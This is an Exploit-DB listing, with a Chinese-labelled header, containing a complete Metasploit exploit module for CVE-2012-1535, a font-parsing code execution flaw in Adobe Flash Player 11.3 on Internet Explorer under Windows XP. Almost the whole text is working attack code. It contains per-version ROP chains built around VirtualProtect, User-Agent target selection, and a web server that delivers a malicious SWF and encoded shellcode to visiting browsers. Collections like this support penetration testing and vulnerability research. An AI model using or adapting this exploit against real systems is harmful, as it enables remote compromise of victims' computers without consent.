标题: Adobe Flash Player 11.3 - Font Parsing Code Execution (Metasploit) EDB-ID: 20624 CVE: 2012-1535 类型: REMOTE 平台: WINDOWS 发布日期: 2012-08-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Adobe Flash Player 11.3 Font Parsing Code Execution",
   'Description'    => %q{
     This module exploits a vulnerability found in the ActiveX component of Adobe
    Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
    it is possible to gain arbitrary remote code execution under the context of the
    user, as exploited in the wild.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alexander Gavrun', #Through iDefense
     'sinn3r',
     'juan vazquez'
    ],
   'References'     =>
    [
     [ 'CVE', '2012-1535' ],
     [ 'OSVDB', '84607'],
     [ 'BID', '55009'],
     [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
     [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
     [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
    ],
   'Payload'        =>
    {
     'Space'    => 1024
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested successfully on:
     # Flash 11.3.300.268
     # Flash 11.3.300.265
     # Flash 11.3.300.257
     [ 'Automatic', {} ],
     [
      'IE 6 on Windows XP SP3',
      {
       'Rop'    => nil
      }
     ],
     [
      'IE 7 on Windows XP SP3',
      {
       'Rop'    => nil
      }
     ],
     [
      'IE 8 on Windows XP SP3',
      {
       'Rop' => true
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Aug 9 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
   ], self.class)
 end

 def nop
  return make_nops(4).unpack("L")[0].to_i
 end

 def get_payload(t, flash_version=nil)
  if t['Rop'].nil?
   p = [
    0x0c0c0c0c, # mapped at 1e0d0000
    0x0c0c0c0c,
    0x0c0c0c0c, # mapped at 1e0d0008
   ].pack("V*")

   p << payload.encoded
  else
   if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

    print_status("Using Rop Chain For Flash: #{flash_version}")
    stack_pivot = [
     0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
     0x0c0c0c0c,
     0x1001d891, # xchg eax, esp # ret (1e0d0008)
    ].pack("V*")

    rop = [
     0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
     0x106e3384, # <- *&VirtualProtect()
     0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
     0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
     0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
     0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
     0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
     0x00000201, # <- change size to mark as executable if needed (-> ebx)
     0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
     0x10955000, # W pointer (lpOldProtect) (-> ecx)
     0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
     0x10649004, # ROP NOP (-> edi)
     0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
     0x00000040, # newProtect (0x40) (-> edx)
     0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
     nop,        # NOPS (-> eax)
     0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
    ].pack("V*")

   elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

    print_status("Using Rop Chain For Flash: #{flash_version}")
    stack_pivot = [
     0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
     0x0c0c0c0c,
     0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
    ].pack("V*")

    rop = [
     0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
     0x106e338c, # <- *&VirtualProtect()
     0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
     0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
     0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
     0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
     0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
     0x00000201, # <- change size to mark as executable if needed (-> ebx)
     0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
     0x10955000, # W pointer (lpOldProtect) (-> ecx)
     0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
     0x105c1812, # ROP NOP (-> edi)
     0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
     0x00000040, # newProtect (0x40) (-> edx)
     0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
     nop,        # NOPS (-> eax)
     0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
    ].pack("V*")

   elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

    print_status("Using Rop Chain For Flash: #{flash_version}")
    stack_pivot = [
     0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
     0x0c0c0c0c,
     0x1001d755, # xchg eax, esp # ret (1e0d0008)
    ].pack("V*")
    rop = [
     0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
     0x106e438c, # <- *&VirtualProtect()
     0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
     0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
     0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
     0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
     0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
     0x00000201, # <- change size to mark as executable if needed (-> ebx)
     0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
     0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
     0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
     0x10308b0f, # ROP NOP (-> edi)
     0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
     0x00000040, # newProtect (0x40) (-> edx)
     0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
     nop,        # NOPS (-> eax)
     0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
    ].pack("V*")

   else

    print_status("Default back to JRE ROP")
    stack_pivot = [
     0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
     0x0c0c0c0c,
     0x7c348b05, # xchg eax, esp # ret (1e0d0008)
    ].pack("V*")

    rop = [
     0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
     0x00001000, # (dwSize)
     0x7c347f98, # RETN (ROP NOP)
     0x7c3415a2, # JMP [EAX]
     0xffffffff,
     0x7c376402, # skip 4 bytes
     0x7c345255, # INC EBX # FPATAN # RETN
     0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
     0x7c344f87, # POP EDX # RETN
     0x00000040, # flNewProtect
     0x7c34d201, # POP ECX # RETN
     0x7c38b001, # &Writable location
     0x7c347f97, # POP EAX # RETN
     0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
     0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
     0x7c345c30, # ptr to 'push esp #  ret '
    ].pack("V*")

   end
   p = stack_pivot
   p << rop
   p << payload.encoded
  end
  return p
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[3]  #IE 8 on Windows XP SP3
  else
   return nil
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  print_status("User-agent: #{agent}")
  my_target = get_target(agent)

  print_status("Client requesting: #{request.uri}")

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  # The SWF request itself
  if request.uri =~ /\.swf$/
   print_status("Sending SWF")
   send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
   return
  end

  # The TXT payload request
  if request.uri =~ /\.txt$/
   flash_version = request.headers['x-flash-version']
   shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
   print_status("Sending Payload")
   send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
   return
  end

  swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

  html = %Q|
  <html>
  <head>
  </head>
  <body>
  <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
  <param name="movie" value="#{swf_uri}">
  </object>
  </body>
  </html>
  |

  html = html.gsub(/^\t\t/, '')

  # we need to handle direct /pay.txt requests
  proc = Proc.new do |cli, req|
   on_request_uri(cli, req)
  end
  add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil

  print_status("Sending HTML")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

 def exploit
  @swf = create_swf
  print_status("SWF Loaded: #{@swf.length.to_s} bytes")
  super
 end

 def create_swf
  path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
  fd = ::File.open( path, "rb" )
  swf = fd.read(fd.stat.size)
  fd.close
  return swf
 end

 def cleanup
  vprint_status("Removing txt resource")
  remove_resource('/pay.txt') rescue nil
  super
 end

end URL: https://www.exploit-db.com/exploits/20624